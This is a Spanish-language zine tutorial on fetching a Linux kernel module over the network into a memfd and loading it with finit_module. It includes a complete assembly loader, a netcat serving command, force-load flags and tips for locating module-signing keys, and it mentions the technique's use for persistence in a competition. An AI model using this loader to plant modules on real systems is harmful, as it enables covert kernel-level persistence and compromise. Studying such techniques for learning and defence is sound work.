┌───────────────────────┐
                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                       │ █   █ █ █ █   █       │
                                                       │ █   █ █ █ █▀▀▀▀       │
                                                       │ █   █   █ █     ▄     │
                                                       │                 ▄▄▄▄▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄   ▄ │
                                                       │                 █   █ │
                                                       │                 █   █ │
                                                       │                 █▄▄▄█ │
                                                       │                 ▄▄▄▄▄ │
                                                       │                   █   │
Cargando módulos de kernel en memoria                  │                   █   │
~ netspooky                                            └───────────────────█ ──┘

[ Traducción por @_eltuerto ]

Debido a que algunos cambios al kernel de Linux el año pasado destruyeron la 
antigua metodología de x86_64 "binary golf", pensé que sería divertido platicar 
un poco acerca de una técnica para cargar módulos de kernel (LKM) desde fuentes 
remotas. Discutiremos dos syscalls útiles para su cargador de LKMs, así como de 
cosas a considerar cuando se usa esta metodología.

───[ Compilando un módulo de kernel ]───────────────────────────────────────────

Empecemos por compilar un módulo de kernel sencillo para probar. Todo lo que 
hace es imprimir un mensaje al buffer de anillo del kernel (se puede ver con el 
comando `dmesg`).

    // bang.c
    #include <linux/module.h>
    #include <linux/init.h>
    
    MODULE_LICENSE("GPL");
    
    static int __init he(void) {
        printk(KERN_INFO"we out here :}\n");
        return 0;
    }
    
    static void __exit le(void) {
        printk(KERN_INFO"we are no longer out here :{\n");
    }
    
    module_init(he);
    module_exit(le);

Un Makefile sencillo para compilarlo.

    obj-m += bang.o
    dir = $(shell uname -rm | sed -e 's/\s/\-/')
    
    all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    
    strip: all
        strip bang.ko
        mkdir -p $(dir)
        cp -v bang.ko $(dir)/he.ko
    
    load: all
        sudo insmod bang.ko
    
    unload:
        sudo rmmod bang
    
    clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Para compilar, sólo hay que correr `make`.

Se inicia el servidor en el puerto 42000 con `cat bang.ko | nc -k -lvp 42000`

───[ El cargador ]──────────────────────────────────────────────────────────────

El cargador que usaremos es relativamente simple, pero lo voy a explicar en 
detalle para que sirva de desarrollo para quienes están aprendiendo estas 
técnicas.

Vamos a descargar este módulo a un archivo en memoria. Así que comencemos por 
crear un socket hacia nuestro servidor (127.0.0.1:42000) que sirva nuestro 
módulo de kernel. Después crearemos un archivo memfd para descargar el módulo 
deseado.

La syscal memfd_create fue creada como una forma de tener archivos temporales 
que no están asociados a ningún sistema de archivos. Son una forma conveniente 
de escribir a un archivo que sólo existe por la duración del programa y da el 
beneficio de tener tanto la dirección de un archivo temporal como un descriptor 
de archivo.

Podemos ver un ejemplo de un archivo memfd de /proc/self/fd/4 en:
  https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100

Una vez que tenemos nuestro archivo memfd, leemos del buffer del socket del 
servidor remoto y lo escribimos a nuestro descriptor de archivo.

Después de que el archivo se haya descargado a nuestro descriptor memfd, usamos 
la syscall finit_module para cargar el módulo de kernel usando este descriptor 
de archivo.

───[ kl.asm ]───────────────────────────────────────────────────────────────────

;-- Descarga un módulo de kernel de 127.0.0.1:42000 a memoria y lo carga ---//--
;  __  __ .   __  __  __  __ .  .  . configurar:
; |  ||__||_ |__ |__||  ||  ||_/|  |   $ cat somekernelmodule.ko | nc -lvp 42000
; |  ||   |     ||   |o ||o ||\ |__| compilar:
; |  ||__ |__ __||   |__||__|| \ __|   $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket -----------------------------------------------------------------------
; Configuración del socket
; int socket(int domain, int type, int protocol);
;  rdi = int domain
;  rsi = int type
;  rdx = int protocol 
;-------------------------------------------------------------------------------
  push byte 0x29               ; Apila el número de la syscall socket
  pop rax                      ; RAX = socket syscall
  push byte 0x2                ; Push domain: AF_INET
  pop rdi                      ; RDI = AF_INET
  push byte 0x1                ; Apila el tipo: SOCK_STREAM
  pop rsi                      ; RSI = SOCK_STREAM
  cdq                          ; RDX = 0
  syscall                      ; Ejecuta la syscall socket
; connect ----------------------------------------------------------------------
; Nos conectamos a nuestro servidor para obtener el buffer del archivo
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;  rdi = int sockfd
;  rsi = const struct sockaddr *addr
;  rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
  xchg rdi, rax                ; int sockfd
  mov rbx, rdi                 ; Guarda sockfd en rbx también para después
  mov dword [rsp-4], 0x100007F ; Nuestra IP   = 127.0.0.1
  mov word  [rsp-6], 0x10A4    ; Nuestro Puerto = 42000
  mov byte  [rsp-8], 0x02      ; sockfd
  sub rsp, 8                   ; Alineamiento
  push byte 0x2a               ; Apila el número de la syscall connect
  pop rax                      ; RAX = connect syscall
  mov rsi, rsp                 ; const struct sockaddr *addr
  push byte 0x10               ; longitud
  pop rdx                      ; longitud -> rdx
  syscall                      ; Ejecuta la syscall connect
; memfd_create -----------------------------------------------------------------
; Creamos un archivo virtual en donde guardar el buffer de nuestro socket.
; int memfd_create(const char *name, unsigned int flags);
;  rdi = const char *pathname
;  rsi = int flags
;-------------------------------------------------------------------------------
  mov ax, 0x13f                ; El número de la syscall
  push 0x474e4142              ; Nombre de archivo BANG (GNAB aquí)
  mov rdi, rsp                 ; Arg0: El nombre del archivo
  xor rsi, rsi                 ; int flags
  syscall                      ; Ejecuta la syscall memfd_create
; read -------------------------------------------------------------------------
; Leemos el buffer del socket a un buffer para guardarlo como un archivo local
; ssize_t read(socket sockfd,buf,len)
;  rdi = int fd  
;  rsi = void *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov r9, rax                  ; Guarda el descriptor de archivo local
  mov rdx, 0x400               ; size_t count = 1024 bytes 
rwloop:
  mov rdi, rbx                 ; Almacena sockFD en RDI
  xor rax, rax                 ; 0 es la syscall read
  lea rsi, [rsp-1024]          ; buffer para guardar la salida - arg1 *buf
  syscall                      ; Ejecuta la syscall read
; write ------------------------------------------------------------------------
; Escribimos el buffer del socket a nuestro archivo local
; ssize_t sys_write(fd,*buf,count)
;  rdi = int fd  
;  rsi = const *buf 
;  rdx = size_t count     
;-------------------------------------------------------------------------------
  mov rdi, r9                  ; Copia el descriptor desde nuestro archivo local
  mov rdx, rax                 ; RDX = # de bytes leídos, 0 es fin de archivo
  xor rax, rax                 ; RAX = 0
  mov al, 1                    ; Número de syscall
  syscall                      ; Ejecuta la syscall write
  cmp dx, 0x400                ; Verifica si todavía hay bytes para leer
  je rwloop                    ; Regresa al ciclo si los hay
; finit_module -----------------------------------------------------------------
; Carga el módulo de kernel usando un descriptor de archivo
; int finit_module(int fd, const char *param_values, int flags);
;  rdi = int fd - El descriptor de archivo
;  rsi = const char *param_values
;  rdx = int flags
;-------------------------------------------------------------------------------
  xor rax, rax                 ; RAX = 0
  push rax                     ; param_values
  mov rsi, rsp                 ; RSI = *param_values
  mov rax, 0x139               ; Número de la syscall finit_module 
  mov rdi, r9                  ; int fd
  xor rdx, rdx                 ; int flags 
  syscall                      ; Ejecuta la syscall finit_module
;--- Exit ----------------------------------------------------------------------
; void exit(int status);
;  rdi = int status
;-------------------------------------------------------------------------------
  mov rax, 0x3c                ; Número de la syscall exit
  mov rdi, 0x45                ; Retorna 69 como chequeo de integridad
  syscall                      ; ¡Listo, terminado!

───[ Banderas para finit_module ]───────────────────────────────────────────────

La syscal finit_modules es una forma interesante de cargar un módulo de kernel 
en Linux. Normalmente la syscall init_module carga un módulo desde un puntero en
memoria. La syscall finit_module carga un módulo de kernel desde un descriptor 
de archivo y también tiene formas únicas de alterar los chequeos hechos antes de 
cargar la imagen del módulo. NOTA: las banderas de finit_module sólo se pueden 
usar si el kernel fue compilado con la opción de permitir carga forzada. (Ver la
siguiente sección con los detalles)

Las banderas para alterar la funcionalidad están en include/uapi/linux/module.h,
se les hace la operación OR y se pasan a la syscall en RDX.

    /* Banderas para sys_finit_module: */
    #define MODULE_INIT_IGNORE_MODVERSIONS  1
    #define MODULE_INIT_IGNORE_VERMAGIC     2

La bandera MODULE_INIT_IGNORE_MODVERSIONS ignora los hashes de los símbolos de 
versionamiento y la bandera MODULE_INIT_IGNORE_VERMAGIC ignora el número mágico 
de la versión del kernel en el módulo. Estas dos banderas pueden ser usadas para
forzar la carga del módulo en el kernel. De otra forma hubiera sido rechazado. 
¡Esto puede causar comportamiento indefinido y provocar una falla en el kernel, 
así que deben ser usadas con cautela!

finit_module describe esta funcionalidad como:

  ..útil cuando la autenticidad de un módulo de kernel puede ser determinada por 
  su ubicación en el sistema de archivos. En los casos en que esto es posible,
  el costo adicional de utilizar módulos criptográficamente firmados para 
  determinar su autenticidad puede ser eliminado.

  - man 2 finit_module

───[ Determinando la compatibilidad ]───────────────────────────────────────────

Lo complicado de cargar módulos de kernel en general es que hay muchas 
configuraciones que pueden permitir o no ciertos tipos de módulos, o distintas 
formas de cargarlos. Estas son algunas de las banderas de configuración que hay
que conocer antes de cargar un módulo.

::: CONFIG_MODVERSIONS :::

Si se especifica (ej. CONFIG_MODVERSIONS=y) entonces se pueden cargar módulos
compilados para versiones de kernel distintas.

Para verificar: 

  $ grep CONFIG_MODVERSIONS /boot/config-VERSIONDELKERNEL
  CONFIG_MODVERSIONS=y

Más información: https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html

::: CONFIG_MODULE_SIG_FORCE :::

Si se especifica entonces no se pueden cargar módulos sin firma.

Para verificar:

  $ grep CONFIG_MODULE_SIG_FORCE /boot/config-VERSIONDELKERNEL
  # CONFIG_MODULE_SIG_FORCE is not set

Más información: https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html

PROTIP: Se pueden enumerar las llaves confiables en el sistema dependiendo del 
sistema que se esté utilizando.

Ejemplos:

  /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der 
  /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509

::: CONFIG_MODULE_FORCE_LOAD :::

Si se especifica entonces se permite cargar módulos sin información de 
versionamiento. Este debe especificarse si se pretenden utilizar las banderas de
finit_module. Si no se especifica y se utilizan las banderas para alterar el 
comportamiento, fallará con el error ENOEXEC.

Para verificar: 

  $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-VERSIONDELKERNEL
  # CONFIG_MODULE_FORCE_LOAD is not set

Más información: https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html

───[ .fini ]────────────────────────────────────────────────────────────────────

Hemos utilizado esta técnica para hacer golfeo de módulos de kernel y probar el
cargador. También fue utilizado en el WRCCDC en forma de un "one-liner" que fue 
útil para establecer persistencia en varias máquinas configuradas de la misma 
manera.

Este es sólo uno de tantos ejemplos para cargar un módulo de kernel. ¡Hay mucho 
más por explorar y espero que esto les inspire a curiosear!

Un saludo a todos en tmp.Out, thugcrowd, vxug, tcpd

P.D. ¡Esperen un nuevo artículo acerca de "mangling" de binarios ELF en las
próximas ediciones de tmp.Out!